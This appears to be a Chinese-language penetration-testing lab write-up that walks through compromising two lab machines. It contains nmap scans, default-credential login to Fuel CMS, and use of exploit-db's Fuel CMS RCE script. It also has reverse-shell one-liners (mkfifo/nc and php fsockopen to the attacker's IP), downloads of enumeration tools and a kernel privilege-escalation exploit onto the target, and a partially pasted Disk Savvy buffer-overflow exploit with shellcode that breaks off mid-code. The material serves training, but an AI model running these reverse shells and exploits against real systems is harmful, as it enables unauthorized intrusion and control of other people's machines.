Length: 13176 (13K) [text/x-csrc]
Saving to: 'cve-2017-16995.c'
cve-2017-16995.c 100%[===================>] 12.87K --.-KB/s in 0.03s
2023-03-12 16:35:54 (486 KB/s) - 'cve-2017-16995.c' saved [13176/13176]
www-data@FuleCMS:/tmp$ gcc cve-2017-16995.c -o cve-2017-16995
gcc cve-2017-16995.c -o cve-2017-16995
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
]]>┌──(kali㉿kali)-[~]
└─$ rdesktop 172.16.253.19 -g 90%
Autoselecting keyboard map 'en-us' from locale
Connection established using plain RDP.
連上遠端桌面後,一樣老梗的先粗略nmap再詳細nmap:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.120
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 01:01 EST
Nmap scan report for 172.16.1.120
Host is up (0.046s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
8081/tcp open blackice-icecap
Nmap done: 1 IP address (1 host up) scanned in 27.37 seconds
┌──(root㉿kali)-[~]
└─# nmap -p22,25,53,110,139,143,445,8081 172.16.1.120 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 01:02 EST
Nmap scan report for 172.16.1.120
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d236aef714f27c5dba262e9b405355c5 (RSA)
| 256 1b8a0440b432f13f11c824e8cbaf771f (ECDSA)
|_ 256 704228800dd468fb069c6ed304dac161 (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=FuleCMS
| Not valid before: 2020-08-20T16:26:53
|_Not valid after: 2030-08-18T16:26:53
|_smtp-commands: FuleCMS, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL AUTH-RESP-CODE UIDL RESP-CODES PIPELINING TOP CAPA
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: ENABLE IMAP4rev1 more capabilities have LOGINDISABLEDA0001 listed post-login SASL-IR IDLE ID OK Pre-login LOGIN-REFERRALS LITERAL+
445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
8081/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/fuel/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 3.16 (93%), Linux 4.4 (93%), Linux 3.10 - 3.16 (92%), Linux 3.13 (90%), Linux 3.16 - 4.6 (89%), Linux 3.2 - 4.9 (89%), Linux 4.2 (89%), Linux 3.2 - 3.8 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: FuleCMS, FULECMS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -2h40m02s, deviation: 4h37m07s, median: -3s
|_nbstat: NetBIOS name: FULECMS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: fulecms
| NetBIOS computer name: FULECMS\x00
| Domain name: \x00
| FQDN: fulecms
|_ System time: 2023-03-12T14:03:07+08:00
| smb2-time:
| date: 2023-03-12T06:03:06
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 25/tcp)
HOP RTT ADDRESS
1 61.59 ms 192.168.200.1
2 10.17 ms 172.16.1.120
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.94 seconds
看到8081 port有fuel資料夾,用http://172.16.1.120:8081/fuel
網址連連看:
看到稀罕cms先找找預設的帳密:
試試看:
還真的進去了:
可以看看版本號:
找找exploit-db:
看看其中一個:
從上面的網頁知道EDB-ID(50477)後,之後都可以在本機操縱,把poc複製過來後使用,成功get shell:
┌──(root㉿kali)-[~]
└─# cd /home/kali/PT_day3
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# searchsploit -m 50477
Exploit: Fuel CMS 1.4.1 - Remote Code Execution (3)
URL: https://www.exploit-db.com/exploits/50477
Path: /usr/share/exploitdb/exploits/php/webapps/50477.py
Codes: CVE-2018-16763
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/PT_day3/50477.py
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python 50477.py -u http://172.16.1.120:8081
[+]Connecting...
Enter Command $whoami
systemwww-data
翻翻看有什麼東西:
Enter Command $ls -l
systemtotal 56
-rwxrwxr-x 1 www-data www-data 1427 Mar 31 2017 README.md
drwxrwxr-x 9 www-data www-data 4096 Mar 31 2017 assets
-rwxrwxr-x 1 www-data www-data 193 Mar 31 2017 composer.json
-rwxrwxr-x 1 www-data www-data 6502 Mar 31 2017 contributing.md
drwxrwxr-x 9 www-data www-data 4096 Mar 31 2017 fuel
-rwxrwxr-x 1 www-data www-data 11321 Aug 21 2020 index.html
-rwxrwxr-x 1 www-data www-data 11802 Mar 31 2017 index.php
-rwxrwxr-x 1 www-data www-data 20 Aug 21 2020 phpinfo.php
-rwxrwxr-x 1 www-data www-data 30 Mar 31 2017 robots.txt
Enter Command $ls ./assets -l
systemtotal 28
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 cache
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 css
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 docs
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 images
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 js
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 pdf
drwxrwxr-x 2 www-data www-data 4096 Mar 31 2017 swf
發現有上傳頁面,把burp suite打開準備:
找找看本機的reverse shell腳本:
┌──(root㉿kali)-[~]
└─# cd /usr/share/webshells
┌──(root㉿kali)-[/usr/share/webshells]
└─# ls -al
total 40
drwxr-xr-x 8 root root 4096 Aug 8 2022 .
drwxr-xr-x 342 root root 12288 Feb 19 02:19 ..
drwxr-xr-x 2 root root 4096 Aug 8 2022 asp
drwxr-xr-x 2 root root 4096 Aug 8 2022 aspx
drwxr-xr-x 2 root root 4096 Aug 8 2022 cfm
drwxr-xr-x 2 root root 4096 Aug 8 2022 jsp
lrwxrwxrwx 1 root root 19 Aug 8 2022 laudanum -> /usr/share/laudanum
drwxr-xr-x 2 root root 4096 Aug 8 2022 perl
drwxr-xr-x 3 root root 4096 Dec 10 02:17 php
┌──(root㉿kali)-[/usr/share/webshells]
└─# cd php
┌──(root㉿kali)-[/usr/share/webshells/php]
└─# ls -al
total 196
drwxr-xr-x 3 root root 4096 Dec 10 02:17 .
drwxr-xr-x 8 root root 4096 Aug 8 2022 ..
drwxr-xr-x 2 root root 4096 Aug 8 2022 findsocket
-rw-r--r-- 1 root root 2800 Nov 20 2021 php-backdoor.php
-rwxr-xr-x 1 root root 5496 Dec 10 00:42 php-reverse-shell.php
-rwxr-xr-x 1 root root 5500 Dec 10 02:17 php-reverse-shell.png
-rw-r--r-- 1 root root 13585 Nov 20 2021 qsd-php-backdoor.php
-rw-r--r-- 1 root root 328 Nov 20 2021 simple-backdoor.php
-rwxrwxrwx 1 root root 147181 Dec 10 01:35 test1.jpeg
┌──(root㉿kali)-[/usr/share/webshells/php]
└─# cp php-reverse-shell.php /home/kali/PT_day3
┌──(root㉿kali)-[/usr/share/webshells/php]
└─# cd /home/kali/PT_day3
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ls -al
total 52
drwxr-xr-x 2 root root 4096 Mar 12 03:19 .
drwxr-xr-x 22 kali kali 4096 Mar 12 03:18 ..
-rw-r--r-- 1 root root 5036 Mar 11 23:59 42558-1.py
-rwxr-xr-x 1 root root 4925 Mar 11 23:54 42558.py
-rwxr-xr-x 1 root root 3680 Mar 11 23:08 44156.py
-rwxr-xr-x 1 root root 1836 Mar 12 01:37 50477.py
-rwxr-xr-x 1 root root 5495 Feb 27 06:38 bbb_reverse.php
-rwxr-xr-x 1 root root 996 Mar 11 21:03 freeswitch.py
-rwxr-xr-x 1 root root 5496 Mar 12 03:19 php-reverse-shell.php
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim php-reverse-shell.php
改以下兩行:
改一下檔名,避免無法上傳:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv php-reverse-shell.php php-reverse-shell.jpg
試著上傳看看:
在上傳時,因為burp suite開啟了攔截,所以會顯示一些東西。
可以看到上圖2就是上傳上去的jpg,但其實是php,所以可以改成php如下圖紅圈:
改完檔名後按下burp的forward後,跳到以下畫面,找找上傳後跑到哪個位址:
但實際上找不到,因為:
只好再次使用剛剛的50477,利用它可以get shell的特性,做reverse shell:
先監聽:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nc -lvnp 1234
listening on [any] 1234 ...
打上在網頁上抄的指令:
Enter Command $php -r '$sock=fsockopen("192.168.200.6",1234);exec("sh <&3 >&3 2>&3");'
<br />
<b>Parse error</b>: syntax error, unexpected '$sock' (T_VARIABLE) in <b>/var/www/html/fuel/modules/fuel/controllers/Pages.php(924) : runtime-created function</b> on line <b>1</b><br />
代表$符號不能用。
再換別的:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python 50477.py -u http://172.16.1.120:8081
[+]Connecting...
Enter Command $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.200.6 1234 >/tmp/f
監聽,並成功反彈:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.200.6] from (UNKNOWN) [172.16.1.120] 57974
sh: 0: can't access tty; job control turned off
翻一下攻擊機,記得之前應該有下載枚舉工具linenum跟linpeas。
┌──(kali㉿kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# cd /home/kali
┌──(root㉿kali)-[/home/kali]
└─# ls -al
total 972
drwxr-xr-x 22 kali kali 4096 Mar 12 03:56 .
drwxr-xr-x 4 root root 4096 Jan 15 00:59 ..
-rw-r--r-- 1 kali kali 220 Aug 8 2022 .bash_logout
-rw-r--r-- 1 kali kali 5551 Aug 8 2022 .bashrc
-rw-r--r-- 1 kali kali 3526 Aug 8 2022 .bashrc.original
drwx------ 6 kali kali 4096 Feb 19 07:36 .BurpSuite
drwxr-xr-x 10 kali kali 4096 Feb 19 04:23 .cache
drwxr-xr-x 15 kali kali 4096 Feb 27 06:51 .config
-rw-r--r-- 1 kali kali 4715 Mar 11 03:16 cyberlab.ovpn
drwxr-xr-x 2 kali kali 4096 Dec 10 01:17 Desktop
-rw-r--r-- 1 kali kali 35 Nov 7 06:23 .dmrc
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Documents
drwxr-xr-x 2 kali kali 4096 Mar 11 03:17 Downloads
-rw-r--r-- 1 kali kali 11759 Aug 8 2022 .face
lrwxrwxrwx 1 kali kali 5 Aug 8 2022 .face.icon -> .face
drwx------ 3 kali kali 4096 Nov 7 06:23 .gnupg
-rw------- 1 kali kali 0 Nov 7 06:23 .ICEauthority
drwxr-xr-x 4 kali kali 4096 Feb 19 05:32 .java
-rw-r--r-- 1 root root 776167 Apr 17 2022 linpeas.sh
drwx------ 3 kali kali 4096 Nov 7 06:23 .local
drwx------ 5 kali kali 4096 Nov 13 02:21 .mozilla
drwxr-xr-x 10 kali kali 4096 Feb 26 07:08 .msf4
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Music
-rw------- 1 kali kali 103 Dec 10 22:12 .mysql_history
drwxr-xr-x 2 kali kali 4096 Feb 26 06:43 Pictures
-rw-r--r-- 1 kali kali 807 Aug 8 2022 .profile
drwxr-xr-x 2 root root 4096 Mar 12 03:25 PT_day3
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Public
drwx------ 2 kali kali 4096 Jan 15 01:42 .ssh
-rw-r--r-- 1 kali kali 0 Nov 13 05:38 .sudo_as_admin_successful
drwxr-xr-x 5 kali kali 4096 Dec 31 01:50 target_machine
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Templates
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-clipboard.pid
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-display-svga-x11.pid
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-draganddrop.pid
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-seamless.pid
-rw-r----- 1 kali kali 4 Mar 11 20:19 .vboxclient-vmsvga-session-tty7.pid
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Videos
-rw------- 1 kali kali 1988 Dec 10 00:41 .viminfo
drwxr-xr-x 2 kali kali 4096 Nov 13 02:19 vulnOSv2
-rw------- 1 kali kali 249 Mar 12 03:56 .Xauthority
-rw------- 1 kali kali 8520 Mar 12 03:50 .xsession-errors
-rw------- 1 kali kali 9187 Mar 11 08:15 .xsession-errors.old
-rw------- 1 kali kali 8349 Mar 12 01:00 .zsh_history
-rw-r--r-- 1 kali kali 10877 Aug 8 2022 .zshrc
┌──(root㉿kali)-[/home/kali]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
上面的最後一步建網頁伺服器,以便靶機下載:
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@FuleCMS:/var/www/html$ cd /
cd /
www-data@FuleCMS:/$ ls -l
ls -l
total 88
drwxr-xr-x 2 root root 4096 Aug 21 2020 bin
drwxr-xr-x 3 root root 4096 Aug 21 2020 boot
drwxr-xr-x 18 root root 4140 May 29 2021 dev
drwxr-xr-x 100 root root 4096 Aug 21 2020 etc
drwxr-xr-x 4 root root 4096 Aug 21 2020 home
lrwxrwxrwx 1 root root 32 Aug 21 2020 initrd.img -> boot/initrd.img-4.4.0-31-generic
drwxr-xr-x 22 root root 4096 Aug 21 2020 lib
drwxr-xr-x 2 root root 4096 Aug 21 2020 lib64
drwx------ 2 root root 16384 Aug 21 2020 lost+found
drwxr-xr-x 4 root root 4096 Aug 21 2020 media
drwxr-xr-x 2 root root 4096 Jul 20 2016 mnt
drwxr-xr-x 2 root root 4096 Jul 20 2016 opt
dr-xr-xr-x 171 root root 0 May 29 2021 proc
drwx------ 2 root root 4096 May 29 2021 root
drwxr-xr-x 27 root root 900 May 29 2021 run
drwxr-xr-x 2 root root 12288 Aug 21 2020 sbin
drwxr-xr-x 2 root root 4096 Jun 30 2016 snap
drwxr-xr-x 2 root root 4096 Jul 20 2016 srv
dr-xr-xr-x 13 root root 0 May 29 2021 sys
drwxrwxrwt 9 root root 4096 Mar 12 15:52 tmp
drwxr-xr-x 10 root root 4096 Aug 21 2020 usr
drwxr-xr-x 14 root root 4096 Aug 21 2020 var
lrwxrwxrwx 1 root root 29 Aug 21 2020 vmlinuz -> boot/vmlinuz-4.4.0-31-generic
www-data@FuleCMS:/$ cd /tmp
cd /tmp
www-data@FuleCMS:/tmp$ ls
ls
f
systemd-private-9f8aca4e3c70461489381ad43cf2d088-dovecot.service-TfyOSV
systemd-private-9f8aca4e3c70461489381ad43cf2d088-systemd-timesyncd.service-3H3aVE
www-data@FuleCMS:/tmp$ wget http://192.168.200.6/linpeas.sh
wget http://192.168.200.6/linpeas.sh
--2023-03-12 16:00:53-- http://192.168.200.6/linpeas.sh
Connecting to 192.168.200.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776167 (758K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================>] 757.98K 2.22MB/s in 0.3s
2023-03-12 16:00:53 (2.22 MB/s) - 'linpeas.sh' saved [776167/776167]
www-data@FuleCMS:/tmp$ ls -l
ls -l
total 768
prw-r--r-- 1 www-data www-data 0 Mar 12 16:01 f
-rw-r--r-- 1 www-data www-data 776167 Apr 17 2022 linpeas.sh
drwx------ 3 root root 4096 May 29 2021 systemd-private-9f8aca4e3c70461489381ad43cf2d088-dovecot.service-TfyOSV
drwx------ 3 root root 4096 May 29 2021 systemd-private-9f8aca4e3c70461489381ad43cf2d088-systemd-timesyncd.service-3H3aVE
www-data@FuleCMS:/tmp$ wget http://192.168.200.6/LinEnum.sh
wget http://192.168.200.6/LinEnum.sh
--2023-03-12 16:04:52-- http://192.168.200.6/LinEnum.sh
Connecting to 192.168.200.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'
LinEnum.sh 100%[===================>] 45.54K --.-KB/s in 0.03s
2023-03-12 16:04:52 (1.27 MB/s) - 'LinEnum.sh' saved [46631/46631]
www-data@FuleCMS:/tmp$ chmod +x LinEnum.sh
chmod +x LinEnum.sh
www-data@FuleCMS:/tmp$ chmod +x lin*
chmod +x lin*
www-data@FuleCMS:/tmp$ ls -l
ls -l
total 816
-rwxr-xr-x 1 www-data www-data 46631 Mar 12 16:03 LinEnum.sh
prw-r--r-- 1 www-data www-data 0 Mar 12 16:05 f
-rwxr-xr-x 1 www-data www-data 776167 Apr 17 2022 linpeas.sh
drwx------ 3 root root 4096 May 29 2021 systemd-private-9f8aca4e3c70461489381ad43cf2d088-dovecot.service-TfyOSV
drwx------ 3 root root 4096 May 29 2021 systemd-private-9f8aca4e3c70461489381ad43cf2d088-systemd-timesyncd.service-3H3aVE
找找看不用提權就可找到的文件local.txt:
www-data@FuleCMS:/tmp$ find / -name local.txt -print 2>/dev/null
find / -name local.txt -print 2>/dev/null
/home/test/local.txt
www-data@FuleCMS:/tmp$ cat /home/test/local.txt
cat /home/test/local.txt
9c5060aebbfea6f364af27dcd08393cd -
執行linpeas.sh:(掃描結果太長所以省略)
知道內核版本號:
看看下面這個能不能用:
在本機找到poc:
┌──(kali㉿kali)-[~]
└─$ searchsploit -m 45010
Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/45010
Path: /usr/share/exploitdb/exploits/linux/local/45010.c
Codes: CVE-2017-16995
Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/45010.c
┌──(kali㉿kali)-[~]
└─$ mv 45010.c cve-2017-16995.c
同樣的,讓靶機下載這個poc:
www-data@FuleCMS:/tmp$ wget http://192.168.200.6/cve-2017-16995.c
wget http://192.168.200.6/cve-2017-16995.c
--2023-03-12 16:35:54-- http://192.168.200.6/cve-2017-16995.c
Connecting to 192.168.200.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13176 (13K) [text/x-csrc]
Saving to: 'cve-2017-16995.c'
cve-2017-16995.c 100%[===================>] 12.87K --.-KB/s in 0.03s
2023-03-12 16:35:54 (486 KB/s) - 'cve-2017-16995.c' saved [13176/13176]
www-data@FuleCMS:/tmp$ gcc cve-2017-16995.c -o cve-2017-16995
gcc cve-2017-16995.c -o cve-2017-16995
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
]]>
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p- 172.16.1.87
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 22:52 EST
Nmap scan report for 172.16.1.87
Host is up (0.041s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
9124/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.89 seconds
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p80,135,139,445,9124,49152-49157 172.16.1.87 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 22:54 EST
Stats: 0:01:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 81.82% done; ETC: 22:56 (0:00:20 remaining)
Stats: 0:02:37 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 22:57 (0:00:00 remaining)
Nmap scan report for 172.16.1.87
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
80/tcp open http
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| GenericLines, HTTPOptions, RTSPRequest, SIPOptions:
| HTTP/1.1 400 Bad Request
| GetRequest:
| HTTP/1.1 200 OK
| Content-Type: text/html
| Content-Length: 1519
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
| <html>
| <head>
| <meta http-equiv='Content-Type' content='text/html; charset=UTF-8'>
| <meta name='Author' content='Flexense HTTP Server v9.9.14'>
| <meta name='GENERATOR' content='Flexense HTTP v9.9.14'>
| <title>Disk Savvy Enterprise @ SEH-PC - Online Registration</title>
| <link rel='stylesheet' type='text/css' href='resources/disksavvy.css' media='all'>
| </head>
| <body>
| <div id='header'><table border=0 padding=0 cellpadding=0 cellspacing=0 width='100%'><tr>
| width=220 align=left>Disk Savvy Enterprise v9.9.14</td>
| <td></td>
| width=220 align=right id='stime'>12-Mar-2023 11:54:41</td>
| </tr></table></div>
| <div id='content'>
| <form method='POST' action='online_registration'>
|_ <table border=0 padding=0 cellpadding=0
|_http-generator: Flexense HTTP v9.9.14
|_http-title: Disk Savvy Enterprise @ SEH-PC - Online Registration
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9124/tcp open unknown
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=3/11%Time=640D4D03%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,631,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html\r\nCon
SF:tent-Length:\x201519\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DT
SF:D\x20HTML\x204\.01\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/ht
SF:ml4/loose\.dtd\">\r\n<html>\r\n<head>\r\n<meta\x20http-equiv='Content-T
SF:ype'\x20content='text/html;\x20charset=UTF-8'>\r\n<meta\x20name='Author
SF:'\x20content='Flexense\x20HTTP\x20Server\x20v9\.9\.14'>\r\n<meta\x20nam
SF:e='GENERATOR'\x20content='Flexense\x20HTTP\x20v9\.9\.14'>\r\n<title>Dis
SF:k\x20Savvy\x20Enterprise\x20@\x20SEH-PC\x20-\x20Online\x20Registration<
SF:/title>\r\n<link\x20rel='stylesheet'\x20type='text/css'\x20href='resour
SF:ces/disksavvy\.css'\x20media='all'>\r\n</head>\r\n<body>\r\n<div\x20id=
SF:'header'><table\x20border=0\x20padding=0\x20cellpadding=0\x20cellspacin
SF:g=0\x20width='100%'><tr>\r\n<td\x20width=220\x20align=left>Disk\x20Savv
SF:y\x20Enterprise\x20v9\.9\.14</td>\r\n<td></td>\r\n<td\x20width=220\x20a
SF:lign=right\x20id='stime'>12-Mar-2023\x2011:54:41</td>\r\n</tr></table><
SF:/div>\r\n<div\x20id='content'>\r\n<form\x20method='POST'\x20action='onl
SF:ine_registration'>\r\n<table\x20border=0\x20padding=0\x20cellpadding=0"
SF:)%r(HTTPOptions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(RTSP
SF:Request,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(FourOhFourRe
SF:quest,1A,"HTTP/1\.1\x20404\x20Not\x20Found\r\n\r\n")%r(GenericLines,1C,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(SIPOptions,1C,"HTTP/1\.
SF:1\x20400\x20Bad\x20Request\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (94%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (94%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (94%), Microsoft Windows Vista SP2 (94%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (93%), Microsoft Windows Server 2008 R2 or Windows 8 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows 8.1 R1 (93%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (93%), Microsoft Windows 7 or Windows Server 2008 R2 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SEH-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: SEH-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00155d01361c (Microsoft)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-03-12T03:57:18
|_ start_date: 2023-03-11T22:01:37
|_clock-skew: mean: -2h40m02s, deviation: 4h37m06s, median: -3s
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: SEH-PC
| NetBIOS computer name: SEH-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-03-12T11:57:19+08:00
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 63.68 ms 192.168.200.1
2 11.68 ms 172.16.1.87
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.01 seconds
從http-title發現不熟悉的名字,找找看漏洞:
第一個:
上面那網頁下面的code:
# Exploit Title: Disk Savvy Enterprise v10.4.18 Server - Unauthenticated Remote Buffer Overflow SEH
# Date: 01/02/2018
# Exploit Author: Daniel Teixeira
# Vendor Homepage: http://www.disksavvy.com/
# Software Link: http://www.disksavvy.com/setups/disksavvyent_setup_v10.4.18.exe
# Version: 10.4.18
# CVE: CVE-2018-6481
# Tested on: Windows 7 x86
from struct import pack
from os import system
from sys import exit
from time import sleep
import socket
port = 9124
host = "172.16.40.148"
# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -f py -b '\x00\x02\x0a\x0d\xf8\xfd' --var-name shellcode
shellcode = ""
shellcode += "\xba\x71\x6d\xbf\xc8\xd9\xc0\xd9\x74\x24\xf4\x5d"
shellcode += "\x29\xc9\xb1\x53\x83\xed\xfc\x31\x55\x0e\x03\x24"
shellcode += "\x63\x5d\x3d\x3a\x93\x23\xbe\xc2\x64\x44\x36\x27"
shellcode += "\x55\x44\x2c\x2c\xc6\x74\x26\x60\xeb\xff\x6a\x90"
shellcode += "\x78\x8d\xa2\x97\xc9\x38\x95\x96\xca\x11\xe5\xb9"
shellcode += "\x48\x68\x3a\x19\x70\xa3\x4f\x58\xb5\xde\xa2\x08"
shellcode += "\x6e\x94\x11\xbc\x1b\xe0\xa9\x37\x57\xe4\xa9\xa4"
shellcode += "\x20\x07\x9b\x7b\x3a\x5e\x3b\x7a\xef\xea\x72\x64"
shellcode += "\xec\xd7\xcd\x1f\xc6\xac\xcf\xc9\x16\x4c\x63\x34"
shellcode += "\x97\xbf\x7d\x71\x10\x20\x08\x8b\x62\xdd\x0b\x48"
shellcode += "\x18\x39\x99\x4a\xba\xca\x39\xb6\x3a\x1e\xdf\x3d"
shellcode += "\x30\xeb\xab\x19\x55\xea\x78\x12\x61\x67\x7f\xf4"
shellcode += "\xe3\x33\xa4\xd0\xa8\xe0\xc5\x41\x15\x46\xf9\x91"
shellcode += "\xf6\x37\x5f\xda\x1b\x23\xd2\x81\x73\x80\xdf\x39"
shellcode += "\x84\x8e\x68\x4a\xb6\x11\xc3\xc4\xfa\xda\xcd\x13"
shellcode += "\xfc\xf0\xaa\x8b\x03\xfb\xca\x82\xc7\xaf\x9a\xbc"
shellcode += "\xee\xcf\x70\x3c\x0e\x1a\xec\x34\xa9\xf5\x13\xb9"
shellcode += "\x09\xa6\x93\x11\xe2\xac\x1b\x4e\x12\xcf\xf1\xe7"
shellcode += "\xbb\x32\xfa\x16\x60\xba\x1c\x72\x88\xea\xb7\xea"
shellcode += "\x6a\xc9\x0f\x8d\x95\x3b\x38\x39\xdd\x2d\xff\x46"
shellcode += "\xde\x7b\x57\xd0\x55\x68\x63\xc1\x69\xa5\xc3\x96"
